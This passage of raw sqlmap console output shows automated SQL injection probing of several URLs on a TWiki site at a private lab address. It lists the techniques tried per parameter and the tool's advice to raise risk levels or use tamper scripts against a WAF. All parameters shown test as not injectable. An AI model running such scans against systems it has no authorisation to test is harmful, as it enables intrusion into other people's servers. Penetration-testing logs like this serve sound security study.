'--union-char'? [Y/n] Y [19:46:19] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [19:46:20] [INFO] testing 'MySQL UNION query (63) - 1 to 10 columns' [19:46:27] [WARNING] GET parameter 'param1' is not injectable [19:46:27] [INFO] testing if GET parameter 'param2' is dynamic [19:46:27] [WARNING] GET parameter 'param2' does not appear dynamic [19:46:27] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:46:27] [INFO] testing for SQL injection on GET parameter 'param2' [19:46:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:46:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:46:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:46:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:46:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:46:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:46:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:46:31] [INFO] testing 'MySQL inline queries' [19:46:31] [INFO] testing 'PostgreSQL inline queries' [19:46:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:46:31] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:46:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:46:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:46:33] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:46:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:46:34] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:46:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:46:35] [INFO] testing 'Oracle AND time-based blind' [19:46:35] [INFO] testing 'Generic UNION query (63) - 1 to 10 columns' [19:46:42] [INFO] testing 'MySQL UNION query (63) - 1 to 10 columns' [19:46:49] [WARNING] GET parameter 'param2' is not injectable [19:46:49] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 132: GET http://192.168.1.113/twiki/bin/search/Main/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=100 do you want to test this URL? [Y/n/q] Y [19:46:49] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Main/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=100' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:46:49] [INFO] testing connection to the target URL [19:46:49] [INFO] testing if the target URL is stable [19:46:50] [INFO] target URL is stable [19:46:50] [INFO] testing if URI parameter '#1' is dynamic [19:46:50] [INFO] confirming that URI parameter '#1*' is dynamic [19:46:50] [INFO] URI parameter '#1*' is dynamic [19:46:50] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:46:51] [INFO] testing for SQL injection on URI parameter '#1*' [19:46:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:46:52] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:46:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:46:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:46:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:46:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:46:54] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:46:54] [INFO] testing 'MySQL inline queries' [19:46:54] [INFO] testing 'PostgreSQL inline queries' [19:46:54] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:46:54] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:46:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:46:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:46:55] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:46:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:46:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:46:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:46:57] [INFO] testing 'Oracle AND time-based blind' [19:46:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:46:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:47:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:47:26] [WARNING] URI parameter '#1*' is not injectable [19:47:26] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 133: GET http://192.168.1.113/twiki/bin/search/Main/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=200 do you want to test this URL? [Y/n/q] Y [19:47:26] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Main/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=200' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:47:26] [INFO] testing connection to the target URL [19:47:28] [INFO] testing if the target URL is stable [19:47:28] [INFO] target URL is stable [19:47:28] [INFO] testing if URI parameter '#1' is dynamic [19:47:29] [INFO] confirming that URI parameter '#1*' is dynamic [19:47:29] [INFO] URI parameter '#1*' is dynamic [19:47:29] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:47:30] [INFO] testing for SQL injection on URI parameter '#1*' [19:47:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:47:33] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:47:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:47:36] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:47:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:47:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:47:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:47:42] [INFO] testing 'MySQL inline queries' [19:47:42] [INFO] testing 'PostgreSQL inline queries' [19:47:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:47:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:47:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:47:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:47:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:47:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:47:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:47:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:47:54] [INFO] testing 'Oracle AND time-based blind' [19:47:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:47:56] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:48:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:48:35] [WARNING] URI parameter '#1*' is not injectable [19:48:35] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 134: GET http://192.168.1.113/twiki/bin/search/Main/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=400 do you want to test this URL? [Y/n/q] Y [19:48:35] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Main/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=400' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:48:35] [INFO] testing connection to the target URL [19:48:36] [INFO] testing if the target URL is stable [19:48:37] [INFO] target URL is stable [19:48:37] [INFO] testing if URI parameter '#1' is dynamic [19:48:37] [INFO] confirming that URI parameter '#1*' is dynamic [19:48:37] [INFO] URI parameter '#1*' is dynamic [19:48:38] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:48:38] [INFO] testing for SQL injection on URI parameter '#1*' [19:48:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:48:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:48:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:48:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:48:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:48:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:48:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:48:49] [INFO] testing 'MySQL inline queries' [19:48:50] [INFO] testing 'PostgreSQL inline queries' [19:48:50] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:48:51] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:48:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:48:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:48:55] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:48:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:48:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:49:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:49:01] [INFO] testing 'Oracle AND time-based blind' [19:49:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:49:03] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:49:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[19:49:24] [WARNING] URI parameter '#1*' is not injectable [19:49:24] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 135: GET http://192.168.1.113/twiki/bin/search/Main/?search=.*&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=800 do you want to test this URL? [Y/n/q]
Y [19:49:24] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Main/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=800' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:49:24] [INFO] testing connection to the target URL [19:49:25] [INFO] testing if the target URL is stable [19:49:25] [INFO] target URL is stable [19:49:25] [INFO] testing if URI parameter '#1*' is dynamic [19:49:25] [INFO] confirming that URI parameter '#1*' is dynamic [19:49:26] [INFO] URI parameter '#1*' is dynamic [19:49:26] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:49:26] [INFO] testing for SQL injection on URI parameter '#1*' [19:49:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:49:27] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:49:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:49:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:49:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:49:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:49:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:49:29] [INFO] testing 'MySQL inline queries' [19:49:29] [INFO] testing 'PostgreSQL inline queries' [19:49:30] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:49:30] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:49:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:49:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:49:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:49:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:49:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:49:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:49:33] [INFO] testing 'Oracle AND time-based blind' [19:49:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:49:34] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:49:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:49:45] [WARNING] URI parameter '#1*' is not injectable [19:49:45] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 136: GET http://192.168.1.113/twiki/bin/search/Main/SearchResult?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on do you want to test this URL? [Y/n/q] Y [19:49:45] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Main/SearchResult?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:49:45] [INFO] testing connection to the target URL [19:49:46] [INFO] testing if the target URL is stable [19:49:47] [INFO] target URL is stable [19:49:47] [INFO] testing if URI parameter '#1' is dynamic [19:49:47] [INFO] confirming that URI parameter '#1*' is dynamic [19:49:47] [INFO] URI parameter '#1*' is dynamic [19:49:47] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:49:47] [INFO] testing for SQL injection on URI parameter '#1*' [19:49:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:49:48] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:49:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:49:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:49:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:49:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:49:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:49:51] [INFO] testing 'MySQL inline queries' [19:49:51] [INFO] testing 'PostgreSQL inline queries' [19:49:51] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:49:51] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:49:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:49:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:49:52] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:49:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:49:53] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:49:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:49:54] [INFO] testing 'Oracle AND time-based blind' [19:49:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:49:55] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:50:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:50:07] [WARNING] URI parameter '#1*' is not injectable [19:50:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 137: GET http://192.168.1.113:80/twiki/bin/edit/Main/WebChanges?t=1441457480 do you want to test this URL? [Y/n/q] Y [19:50:07] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/WebChanges?t=1441457480' [19:50:07] [INFO] testing connection to the target URL [19:50:07] [INFO] testing if the target URL is stable [19:50:08] [INFO] target URL is stable [19:50:08] [INFO] testing if GET parameter 't' is dynamic [19:50:08] [WARNING] GET parameter 't' does not appear dynamic [19:50:08] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:50:08] [INFO] testing for SQL injection on GET parameter 't' [19:50:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:50:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:50:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:50:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:50:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:50:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:50:11] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:50:11] [INFO] testing 'MySQL inline queries' [19:50:11] [INFO] testing 'PostgreSQL inline queries' [19:50:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:50:11] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:50:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:50:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:50:13] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:50:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:50:13] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:50:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:50:14] [INFO] testing 'Oracle AND time-based blind' [19:50:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:50:15] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:50:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:50:26] [WARNING] GET parameter 't' is not injectable [19:50:26] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 138: GET http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Changes[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:50:26] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Changes[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:50:26] [INFO] testing connection to the target URL [19:50:26] [INFO] testing if the target URL is stable [19:50:27] [INFO] target URL is stable [19:50:27] [INFO] testing if URI parameter '#1' is dynamic [19:50:27] [WARNING] URI parameter '#1*' does not appear dynamic [19:50:27] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:50:27] [INFO] testing for SQL injection on URI parameter '#1*' [19:50:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:50:28] [WARNING] reflective value(s) found and filtering out [19:50:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:50:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:50:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:50:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:50:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:50:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:50:31] [INFO] testing 'MySQL inline queries' [19:50:31] [INFO] testing 'PostgreSQL inline queries' [19:50:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:50:31] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:50:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:50:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:50:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:50:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:50:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:50:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:50:34] [INFO] testing 'Oracle AND time-based blind' [19:50:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:50:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:50:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:50:47] [WARNING] URI parameter '#1*' is not injectable [19:50:47] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 139: GET http://192.168.1.113:80/twiki/bin/view/Main/WebChanges?skin=print do you want to test this URL? [Y/n/q] Y [19:50:47] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebChanges?skin=print' [19:50:47] [INFO] testing connection to the target URL [19:50:48] [INFO] testing if the target URL is stable [19:50:48] [INFO] target URL is stable [19:50:48] [INFO] testing if GET parameter 'skin' is dynamic [19:50:48] [INFO] confirming that GET parameter 'skin' is dynamic [19:50:49] [INFO] GET parameter 'skin' is dynamic [19:50:49] [INFO] heuristics detected web page charset 'ascii' [19:50:49] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:50:49] [INFO] testing for SQL injection on GET parameter 'skin' [19:50:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:50:49] [WARNING] reflective value(s) found and filtering out [19:50:51] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:50:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:50:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:50:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:50:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:50:54] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:50:54] [INFO] testing 'MySQL inline queries' [19:50:55] [INFO] testing 'PostgreSQL inline queries' [19:50:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:50:55] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:50:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:50:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:50:57] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:50:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:50:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:50:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:51:00] [INFO] testing 'Oracle AND time-based blind' [19:51:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:51:00] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:51:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:51:18] [WARNING] GET parameter 'skin' is not injectable [19:51:18] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 140: GET http://192.168.1.113:80/twiki/bin/rdiff/Main/WebChanges?rev1=1.3&rev2=1.2 do you want to test this URL? [Y/n/q] Y [19:51:18] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebChanges?rev1=1.3&rev2=1.2' [19:51:18] [INFO] testing connection to the target URL [19:51:19] [INFO] testing if the target URL is stable [19:51:20] [INFO] target URL is stable [19:51:20] [INFO] testing if GET parameter 'rev1' is dynamic [19:51:20] [WARNING] GET parameter 'rev1' does not appear dynamic [19:51:20] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:51:20] [INFO] testing for SQL injection on GET parameter 'rev1' [19:51:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:51:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:51:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:51:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:51:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:51:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:51:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:51:26] [INFO] testing 'MySQL inline queries' [19:51:27] [INFO] testing 'PostgreSQL inline queries' [19:51:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:51:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:51:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:51:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:51:29] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:51:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:51:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:51:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:51:33] [INFO] testing 'Oracle AND time-based blind' [19:51:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:51:34] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:51:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:51:58] [WARNING] GET parameter 'rev1' is not injectable [19:51:58] [INFO] testing if GET parameter 'rev2' is dynamic [19:51:59] [WARNING] GET parameter 'rev2' does not appear dynamic [19:51:59] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:51:59] [INFO] testing for SQL injection on GET parameter 'rev2' [19:51:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:52:01] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:52:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:52:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:52:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:52:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:52:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:52:06] [INFO] testing 'MySQL inline queries' [19:52:06] [INFO] testing 'PostgreSQL inline queries' [19:52:07] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:52:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:52:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:52:08] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:52:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:52:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:52:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:52:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:52:13] [INFO] testing 'Oracle AND time-based blind' [19:52:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:52:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:52:38] [WARNING] GET parameter 'rev2' is not injectable [19:52:38] [ERROR] all tested 